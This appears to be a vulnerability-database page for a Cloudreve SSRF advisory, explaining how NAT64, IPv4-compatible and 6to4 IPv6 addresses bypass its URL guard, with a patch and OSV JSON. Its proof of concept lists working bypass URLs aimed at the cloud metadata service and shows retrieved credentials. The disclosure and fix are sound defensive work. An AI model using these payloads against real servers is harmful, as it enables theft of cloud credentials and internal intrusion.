CVE-2026-79913: Cloudreve SSRF Guard Bypass: CheckIP Does Vulnerability

MODERATE
Advisory Identifier: GHSA-jvh5-97xg-v99f
CVSS 6.5
CWE-918 CWE-697
Published
Advisory Summary

CVE-2026-79913 is a MODERATE (CVSS 6.5) ssrf guard bypass: checkip does vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Cloudreve libraries in the Go ecosystem. The issue involves ssrf guard bypass: checkip does not decode ipv6-transition wrappers (nat64, ipv4-compatible, 6to4) reaching internal and cloud-metadata addresses. Remediation is available by upgrading affected packages to version 4.0.0-20260715072853-1c5cad6dec7e.

CVE-2026-79913 at a Glance

CVE Identifier CVE-2026-79913
GHSA Identifier GHSA-jvh5-97xg-v99f
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Cloudreve
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-79913

To remediate this vulnerability, upgrade all affected Cloudreve dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/cloudreve/Cloudreve/v4 fixed: 4.0.0-20260715072853-1c5cad6dec7e
Upgrade github.com/cloudreve/Cloudreve/v4 to 4.0.0-20260715072853-1c5cad6dec7e
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/cloudreve/Cloudreve/v4

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-79913, inspect your project dependencies for Cloudreve:

inspect dependencies for github.com/cloudreve/Cloudreve/v4

Analyze the terminal output to locate any version of Cloudreve in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.0.0-20260715072853-1c5cad6dec7e), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Cloudreve, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

**Summary** Cloudreve's server-side request forgery guard `ValidateExternalURL` (`pkg/request/ssrf.go`) resolves a user-supplied URL host and rejects it when any resolved IP is a loopback, private, link-local, multicast, unspecified, CGNAT, or the cloud-metadata address. The classification is performed by `checkIP`, which uses Go's `net.IP` builtins (`IsLoopback`, `IsPrivate`, `IsLinkLocalUnicast`, ...) directly on the resolved address. These builtins inspect only the outer IPv6 address and do not decode IPv4-in-IPv6 transition wrappers. An attacker who controls a hostname's AAAA record (or, on a DNS64/NAT64 network, any hostname) can point the remote-download URL at a NAT64 well-known-prefix address (`64:ff9b::a.b.c.d`, RFC 6052), an IPv4-compatible address (`::a.b.c.d`, RFC 4291), or a 6to4 address (`2002:AABB:CCDD::`, RFC 3056) that wraps an internal IPv4. Go classifies these wrappers as ordinary global IPv6 addresses, so `checkIP` accepts them; the network then delivers the request to the embedded internal IPv4 (loopback, RFC 1918, or the cloud instance metadata service `169.254.169.254`). This bypasses the SSRF guard that was added to block direct access to internal services. **Affected component and versions** - Component: `pkg/request/ssrf.go` (`ValidateExternalURL` / `checkIP`), reached from the remote-download workflow `pkg/filemanager/workflows/remote_download.go` (`RemoteDownloadTask.createDownloadTask`, which passes the user-supplied `SrcUri` to `ValidateExternalURL`). - Affected: Cloudreve `<= 4.17.0` (latest release at time of report) and current `main`. - Reachable by an authenticated remote-download user; administrative privileges are not required. **Vulnerable form vs correctly-guarded sibling** `checkIP` DOES block IPv4-mapped IPv6 (`::ffff:a.b.c.d`), because Go's `net.IP.To4()` returns the embedded IPv4 for that form and the standard checks then fire. It does NOT block the other IPv4-in-IPv6 transition forms, because for those `To4()` returns nil and every `net.IP` classifier reports the wrapper as a normal global IPv6 address: - NAT64 well-known prefix `64:ff9b::/96` (RFC 6052): `64:ff9b::a9fe:a9fe` embeds `169.254.169.254`. - IPv4-compatible `::a.b.c.d` (RFC 4291): `::a9fe:a9fe` embeds `169.254.169.254`. - 6to4 `2002::/16` (RFC 3056): `2002:a9fe:a9fe::` embeds `169.254.169.254`. The fix is to canonicalize the resolved address to its embedded IPv4 before classification, symmetric to how IPv4-mapped addresses are already handled by `To4()`. The same gap was fixed correctly in a sibling project: `makeplane/plane` `apps/api/plane/utils/ip_address.py` `_embedded_ipv4()` decodes IPv4-mapped, 6to4, Teredo and NAT64 before classifying; Cloudreve's guard is the unpatched twin of that pattern. **Severity** An authenticated low-privilege user can force the server to fetch attacker-chosen internal URLs and read the responses, including cloud instance-metadata credentials, producing a scope change from the download subsystem to the internal network and the host's cloud identity. **Proof of concept** The guard file `pkg/request/ssrf.go` imports only the Go standard library, so `ValidateExternalURL` was compiled and called verbatim from tag `4.17.0`. The remote-download workflow calls it as `ValidateExternalURL(ctx, SrcUri, opt)` with default options. Direction 1 (shipped guard accepts the internal-embedding wrappers): ``` === Cloudreve v4.17.0 ValidateExternalURL (shipped, unmodified) === [ACCEPTED] NAT64 -> 169.254.169.254 (cloud metadata) http://[64:ff9b::a9fe:a9fe]/latest/meta-data/ [ACCEPTED] NAT64 -> 127.0.0.1 (loopback) http://[64:ff9b::7f00:1]/ [ACCEPTED] NAT64 -> 10.0.0.1 (RFC1918) http://[64:ff9b::a00:1]/ [ACCEPTED] IPv4-compatible -> 169.254.169.254 http://[::a9fe:a9fe]/latest/meta-data/ [ACCEPTED] IPv4-compatible -> 127.0.0.1 http://[::7f00:1]/ [ACCEPTED] 6to4 -> encodes 169.254.169.254 http://[2002:a9fe:a9fe::]/ [BLOCKED ] IPv4-mapped -> 127.0.0.1 (CONTROL, should block) http://[::ffff:127.0.0.1]/ -> loopback address 127.0.0.1: URL is not allowed [BLOCKED ] IPv4-mapped -> 169.254.169.254 (CONTROL, should block) http://[::ffff:169.254.169.254]/ -> link-local address 169.254.169.254: URL is not allowed [ACCEPTED] public 1.1.1.1 (CONTROL, should pass) http://1.1.1.1/ SSRF BYPASS COUNT (guard accepted an internal-embedding wrapper): 6 ``` Full reach-and-return (guard accepts, and the fetch returns the internal secret with HTTP 200). A loopback HTTP server serves a unique token standing in for the cloud metadata service; on a DNS64/NAT64 host the kernel routes `64:ff9b::a9fe:a9fe` to `169.254.169.254`, and because no NAT64 gateway exists in the test host the final hop is emulated by dialing the loopback server. The guard acceptance above is real and unmodified. ``` [*] Fake internal metadata server (stands in for 169.254.169.254) at http://127.0.0.1:63569 [*] Unique secret it serves: IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9 [*] Attacker remote-download SrcUri: http://[64:ff9b::a9fe:a9fe]:63569/latest/meta-data/iam/security-credentials/ [*] 64:ff9b::a9fe:a9fe = NAT64(169.254.169.254) [+] SHIPPED GUARD ValidateExternalURL ACCEPTED the URL. checkIP classified 64:ff9b::a9fe:a9fe as a safe public address (the bug) [+] FETCH REACHED THE INTERNAL SERVER. HTTP 200 [+] Response body (exfiltrated internal secret): iam-role-credentials AccessKeyId=ASIA... SecretToken=IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9 [RESULT] SSRF CONFIRMED: shipped guard PASSED a NAT64-wrapped internal IP, fetch returned internal secret "IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9" with HTTP 200. ``` Direction 2 (after applying the fix below, the same inputs are blocked and public destinations still pass): ``` === Cloudreve guard WITH FIX applied === [BLOCKED ] NAT64 -> 169.254.169.254 -> link-local address 169.254.169.254: URL is not allowed [BLOCKED ] NAT64 -> 127.0.0.1 -> loopback address 127.0.0.1: URL is not allowed [BLOCKED ] NAT64 -> 10.0.0.1 -> private address 10.0.0.1: URL is not allowed [BLOCKED ] IPv4-compatible -> 169.254.169.254 -> link-local address 169.254.169.254: URL is not allowed [BLOCKED ] IPv4-compatible -> 127.0.0.1 -> loopback address 127.0.0.1: URL is not allowed [BLOCKED ] 6to4 -> 169.254.169.254 -> link-local address 169.254.169.254: URL is not allowed [BLOCKED ] IPv4-mapped -> 127.0.0.1 (control) -> loopback address 127.0.0.1: URL is not allowed [ACCEPTED] public 1.1.1.1 (control, should PASS) [ACCEPTED] public 8.8.8.8 (control, should PASS) Remaining bypasses after fix: 0 (expect 0) ``` **Impact** An authenticated remote-download user can make the server issue HTTP(S) requests to arbitrary internal addresses and read the responses. On cloud deployments this includes the instance metadata service `169.254.169.254`, from which the attacker can retrieve IAM role credentials, leading to escalation into the cloud account. It also exposes internal-only services (databases, admin panels, other microservices) that rely on network position for their security, and enables internal network reconnaissance. This is a scope change from the download subsystem to the internal network and the host's cloud identity. **Suggested fix** Canonicalize the resolved address to its embedded IPv4 before the range checks, so `checkIP` classifies the address the request will actually reach rather than the routable IPv6 wrapper. Minimal patch: ```diff --- a/pkg/request/ssrf.go +++ b/pkg/request/ssrf.go @@ func checkIPWithAllowlist ... return checkIP(ip) } + +// effectiveIP unwraps IPv4-in-IPv6 transition forms to the IPv4 address the +// packet ultimately reaches, so checkIP classifies the real target rather than +// the (often globally-routable) IPv6 wrapper. Covers IPv4-mapped +// (::ffff:a.b.c.d), NAT64 well-known prefix (64:ff9b::/96, RFC 6052), +// 6to4 (2002::/16, RFC 3056) and IPv4-compatible (::a.b.c.d). +func effectiveIP(ip net.IP) net.IP { + if v4 := ip.To4(); v4 != nil { + return v4 + } + v6 := ip.To16() + if v6 == nil { + return ip + } + if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b && + v6[4] == 0 && v6[5] == 0 && v6[6] == 0 && v6[7] == 0 && + v6[8] == 0 && v6[9] == 0 && v6[10] == 0 && v6[11] == 0 { + return net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4() + } + if v6[0] == 0x20 && v6[1] == 0x02 { + return net.IPv4(v6[2], v6[3], v6[4], v6[5]).To4() + } + allZeroTop := true + for i := 0; i < 12; i++ { + if v6[i] != 0 { + allZeroTop = false + break + } + } + if allZeroTop { + last := uint32(v6[12])<<24 | uint32(v6[13])<<16 | uint32(v6[14])<<8 | uint32(v6[15]) + if last > 1 { + return net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4() + } + } + return ip +} + func checkIP(ip net.IP) error { + ip = effectiveIP(ip) if ip == nil { return fmt.Errorf("invalid IP: %w", ErrUnsafeURL) } ``` As defense in depth, consider rejecting all non-IPv4-mapped IPv4-embedding IPv6 forms outright unless the deployment intentionally uses NAT64. **Credit** tonghuaroot (tonghuaroot@gmail.com).

CVE-2026-79913 Affected Cloudreve Versions

1 component(s)
Fixed Versions:
4.0.0-20260715072853-1c5cad6dec7e
Product / Package Ecosystem Affected Versions Fixed Version
github.com/cloudreve/Cloudreve/v4
Go
< 4.0.0-20260715072853-1c5cad6dec7e
4.0.0-20260715072853-1c5cad6dec7e

References

Frequently Asked Questions

What is CVE-2026-79913?
CVE-2026-79913 is a security vulnerability in Cloudreve involving SSRF guard bypass: checkIP does not decode IPv6-transition wrappers (NAT64, IPv4-compatible, 6to4) reaching internal and cloud-metadata addresses under CWE-918: Server-Side Request Forgery (SSRF).
Which Cloudreve versions are affected?
Affected versions include releases prior to 4.0.0-20260715072853-1c5cad6dec7e across affected packages: github.com/cloudreve/Cloudreve/v4.
What version fixes CVE-2026-79913?
Upgrading to 4.0.0-20260715072853-1c5cad6dec7e (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/cloudreve/Cloudreve/v4 affected?
Yes, github.com/cloudreve/Cloudreve/v4 is affected in releases prior to 4.0.0-20260715072853-1c5cad6dec7e. Upgrade your dependency to 4.0.0-20260715072853-1c5cad6dec7e or later.
What is the CVSS score of CVE-2026-79913?
CVE-2026-79913 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-79913?
CVE-2026-79913 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for CVE-2026-79913?
Run the dependency tree command: 'inspect dependencies for github.com/cloudreve/Cloudreve/v4'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jvh5-97xg-v99f",
  "modified" : "2026-09-22T20:40:41Z",
  "published" : "2026-09-22T20:40:41Z",
  "aliases" : [ "CVE-2026-79913" ],
  "summary" : "Cloudreve: SSRF guard bypass: checkIP does not decode IPv6-transition wrappers (NAT64, IPv4-compatible, 6to4) reaching internal and cloud-metadata addresses",
  "details" : "**Summary**\n\nCloudreve's server-side request forgery guard `ValidateExternalURL` (`pkg/request/ssrf.go`) resolves a user-supplied URL host and rejects it when any resolved IP is a loopback, private, link-local, multicast, unspecified, CGNAT, or the cloud-metadata address. The classification is performed by `checkIP`, which uses Go's `net.IP` builtins (`IsLoopback`, `IsPrivate`, `IsLinkLocalUnicast`, ...) directly on the resolved address. These builtins inspect only the outer IPv6 address and do not decode IPv4-in-IPv6 transition wrappers. An attacker who controls a hostname's AAAA record (or, on a DNS64/NAT64 network, any hostname) can point the remote-download URL at a NAT64 well-known-prefix address (`64:ff9b::a.b.c.d`, RFC 6052), an IPv4-compatible address (`::a.b.c.d`, RFC 4291), or a 6to4 address (`2002:AABB:CCDD::`, RFC 3056) that wraps an internal IPv4. Go classifies these wrappers as ordinary global IPv6 addresses, so `checkIP` accepts them; the network then delivers the request to the embedded internal IPv4 (loopback, RFC 1918, or the cloud instance metadata service `169.254.169.254`). This bypasses the SSRF guard that was added to block direct access to internal services.\n\n**Affected component and versions**\n\n- Component: `pkg/request/ssrf.go` (`ValidateExternalURL` / `checkIP`), reached from the remote-download workflow `pkg/filemanager/workflows/remote_download.go` (`RemoteDownloadTask.createDownloadTask`, which passes the user-supplied `SrcUri` to `ValidateExternalURL`).\n- Affected: Cloudreve `<= 4.17.0` (latest release at time of report) and current `main`.\n- Reachable by an authenticated remote-download user; administrative privileges are not required.\n\n**Vulnerable form vs correctly-guarded sibling**\n\n`checkIP` DOES block IPv4-mapped IPv6 (`::ffff:a.b.c.d`), because Go's `net.IP.To4()` returns the embedded IPv4 for that form and the standard checks then fire. It does NOT block the other IPv4-in-IPv6 transition forms, because for those `To4()` returns nil and every `net.IP` classifier reports the wrapper as a normal global IPv6 address:\n\n- NAT64 well-known prefix `64:ff9b::/96` (RFC 6052): `64:ff9b::a9fe:a9fe` embeds `169.254.169.254`.\n- IPv4-compatible `::a.b.c.d` (RFC 4291): `::a9fe:a9fe` embeds `169.254.169.254`.\n- 6to4 `2002::/16` (RFC 3056): `2002:a9fe:a9fe::` embeds `169.254.169.254`.\n\nThe fix is to canonicalize the resolved address to its embedded IPv4 before classification, symmetric to how IPv4-mapped addresses are already handled by `To4()`. The same gap was fixed correctly in a sibling project: `makeplane/plane` `apps/api/plane/utils/ip_address.py` `_embedded_ipv4()` decodes IPv4-mapped, 6to4, Teredo and NAT64 before classifying; Cloudreve's guard is the unpatched twin of that pattern.\n\n**Severity**\n\nAn authenticated low-privilege user can force the server to fetch attacker-chosen internal URLs and read the responses, including cloud instance-metadata credentials, producing a scope change from the download subsystem to the internal network and the host's cloud identity. \n\n**Proof of concept**\n\nThe guard file `pkg/request/ssrf.go` imports only the Go standard library, so `ValidateExternalURL` was compiled and called verbatim from tag `4.17.0`. The remote-download workflow calls it as `ValidateExternalURL(ctx, SrcUri, opt)` with default options.\n\nDirection 1 (shipped guard accepts the internal-embedding wrappers):\n\n```\n=== Cloudreve v4.17.0 ValidateExternalURL (shipped, unmodified) ===\n[ACCEPTED] NAT64 -> 169.254.169.254 (cloud metadata)       http://[64:ff9b::a9fe:a9fe]/latest/meta-data/\n[ACCEPTED] NAT64 -> 127.0.0.1 (loopback)                   http://[64:ff9b::7f00:1]/\n[ACCEPTED] NAT64 -> 10.0.0.1 (RFC1918)                     http://[64:ff9b::a00:1]/\n[ACCEPTED] IPv4-compatible -> 169.254.169.254              http://[::a9fe:a9fe]/latest/meta-data/\n[ACCEPTED] IPv4-compatible -> 127.0.0.1                    http://[::7f00:1]/\n[ACCEPTED] 6to4 -> encodes 169.254.169.254                 http://[2002:a9fe:a9fe::]/\n[BLOCKED ] IPv4-mapped -> 127.0.0.1 (CONTROL, should block)  http://[::ffff:127.0.0.1]/  -> loopback address 127.0.0.1: URL is not allowed\n[BLOCKED ] IPv4-mapped -> 169.254.169.254 (CONTROL, should block)  http://[::ffff:169.254.169.254]/  -> link-local address 169.254.169.254: URL is not allowed\n[ACCEPTED] public 1.1.1.1 (CONTROL, should pass)           http://1.1.1.1/\nSSRF BYPASS COUNT (guard accepted an internal-embedding wrapper): 6\n```\n\nFull reach-and-return (guard accepts, and the fetch returns the internal secret with HTTP 200). A loopback HTTP server serves a unique token standing in for the cloud metadata service; on a DNS64/NAT64 host the kernel routes `64:ff9b::a9fe:a9fe` to `169.254.169.254`, and because no NAT64 gateway exists in the test host the final hop is emulated by dialing the loopback server. The guard acceptance above is real and unmodified.\n\n```\n[*] Fake internal metadata server (stands in for 169.254.169.254) at http://127.0.0.1:63569\n[*] Unique secret it serves: IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9\n[*] Attacker remote-download SrcUri: http://[64:ff9b::a9fe:a9fe]:63569/latest/meta-data/iam/security-credentials/\n[*] 64:ff9b::a9fe:a9fe = NAT64(169.254.169.254)\n\n[+] SHIPPED GUARD ValidateExternalURL ACCEPTED the URL.\n    checkIP classified 64:ff9b::a9fe:a9fe as a safe public address (the bug)\n\n[+] FETCH REACHED THE INTERNAL SERVER. HTTP 200\n[+] Response body (exfiltrated internal secret):\n    iam-role-credentials AccessKeyId=ASIA... SecretToken=IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9\n\n[RESULT] SSRF CONFIRMED: shipped guard PASSED a NAT64-wrapped internal IP,\n         fetch returned internal secret \"IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9\" with HTTP 200.\n```\n\nDirection 2 (after applying the fix below, the same inputs are blocked and public destinations still pass):\n\n```\n=== Cloudreve guard WITH FIX applied ===\n[BLOCKED ] NAT64 -> 169.254.169.254                 -> link-local address 169.254.169.254: URL is not allowed\n[BLOCKED ] NAT64 -> 127.0.0.1                       -> loopback address 127.0.0.1: URL is not allowed\n[BLOCKED ] NAT64 -> 10.0.0.1                        -> private address 10.0.0.1: URL is not allowed\n[BLOCKED ] IPv4-compatible -> 169.254.169.254       -> link-local address 169.254.169.254: URL is not allowed\n[BLOCKED ] IPv4-compatible -> 127.0.0.1             -> loopback address 127.0.0.1: URL is not allowed\n[BLOCKED ] 6to4 -> 169.254.169.254                  -> link-local address 169.254.169.254: URL is not allowed\n[BLOCKED ] IPv4-mapped -> 127.0.0.1 (control)       -> loopback address 127.0.0.1: URL is not allowed\n[ACCEPTED] public 1.1.1.1 (control, should PASS)\n[ACCEPTED] public 8.8.8.8 (control, should PASS)\nRemaining bypasses after fix: 0 (expect 0)\n```\n\n**Impact**\n\nAn authenticated remote-download user can make the server issue HTTP(S) requests to arbitrary internal addresses and read the responses. On cloud deployments this includes the instance metadata service `169.254.169.254`, from which the attacker can retrieve IAM role credentials, leading to escalation into the cloud account. It also exposes internal-only services (databases, admin panels, other microservices) that rely on network position for their security, and enables internal network reconnaissance. This is a scope change from the download subsystem to the internal network and the host's cloud identity.\n\n**Suggested fix**\n\nCanonicalize the resolved address to its embedded IPv4 before the range checks, so `checkIP` classifies the address the request will actually reach rather than the routable IPv6 wrapper. Minimal patch:\n\n```diff\n--- a/pkg/request/ssrf.go\n+++ b/pkg/request/ssrf.go\n@@ func checkIPWithAllowlist ... return checkIP(ip) }\n+\n+// effectiveIP unwraps IPv4-in-IPv6 transition forms to the IPv4 address the\n+// packet ultimately reaches, so checkIP classifies the real target rather than\n+// the (often globally-routable) IPv6 wrapper. Covers IPv4-mapped\n+// (::ffff:a.b.c.d), NAT64 well-known prefix (64:ff9b::/96, RFC 6052),\n+// 6to4 (2002::/16, RFC 3056) and IPv4-compatible (::a.b.c.d).\n+func effectiveIP(ip net.IP) net.IP {\n+\tif v4 := ip.To4(); v4 != nil {\n+\t\treturn v4\n+\t}\n+\tv6 := ip.To16()\n+\tif v6 == nil {\n+\t\treturn ip\n+\t}\n+\tif v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b &&\n+\t\tv6[4] == 0 && v6[5] == 0 && v6[6] == 0 && v6[7] == 0 &&\n+\t\tv6[8] == 0 && v6[9] == 0 && v6[10] == 0 && v6[11] == 0 {\n+\t\treturn net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4()\n+\t}\n+\tif v6[0] == 0x20 && v6[1] == 0x02 {\n+\t\treturn net.IPv4(v6[2], v6[3], v6[4], v6[5]).To4()\n+\t}\n+\tallZeroTop := true\n+\tfor i := 0; i < 12; i++ {\n+\t\tif v6[i] != 0 {\n+\t\t\tallZeroTop = false\n+\t\t\tbreak\n+\t\t}\n+\t}\n+\tif allZeroTop {\n+\t\tlast := uint32(v6[12])<<24 | uint32(v6[13])<<16 | uint32(v6[14])<<8 | uint32(v6[15])\n+\t\tif last > 1 {\n+\t\t\treturn net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4()\n+\t\t}\n+\t}\n+\treturn ip\n+}\n+\n func checkIP(ip net.IP) error {\n+\tip = effectiveIP(ip)\n \tif ip == nil {\n \t\treturn fmt.Errorf(\"invalid IP: %w\", ErrUnsafeURL)\n \t}\n```\n\nAs defense in depth, consider rejecting all non-IPv4-mapped IPv4-embedding IPv6 forms outright unless the deployment intentionally uses NAT64.\n\n**Credit**\n\ntonghuaroot (tonghuaroot@gmail.com).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cloudreve/Cloudreve/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.0.0-20260715072853-1c5cad6dec7e"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-jvh5-97xg-v99f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-79913"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cloudreve/cloudreve/commit/1c5cad6dec7ec3037c6479e3a26a3909995d16a2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/cloudreve/cloudreve"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cloudreve/cloudreve/releases/tag/4.18.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-697", "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-22T20:40:41Z",
    "nvd_published_at" : "2026-09-22T16:17:57Z"
  }
}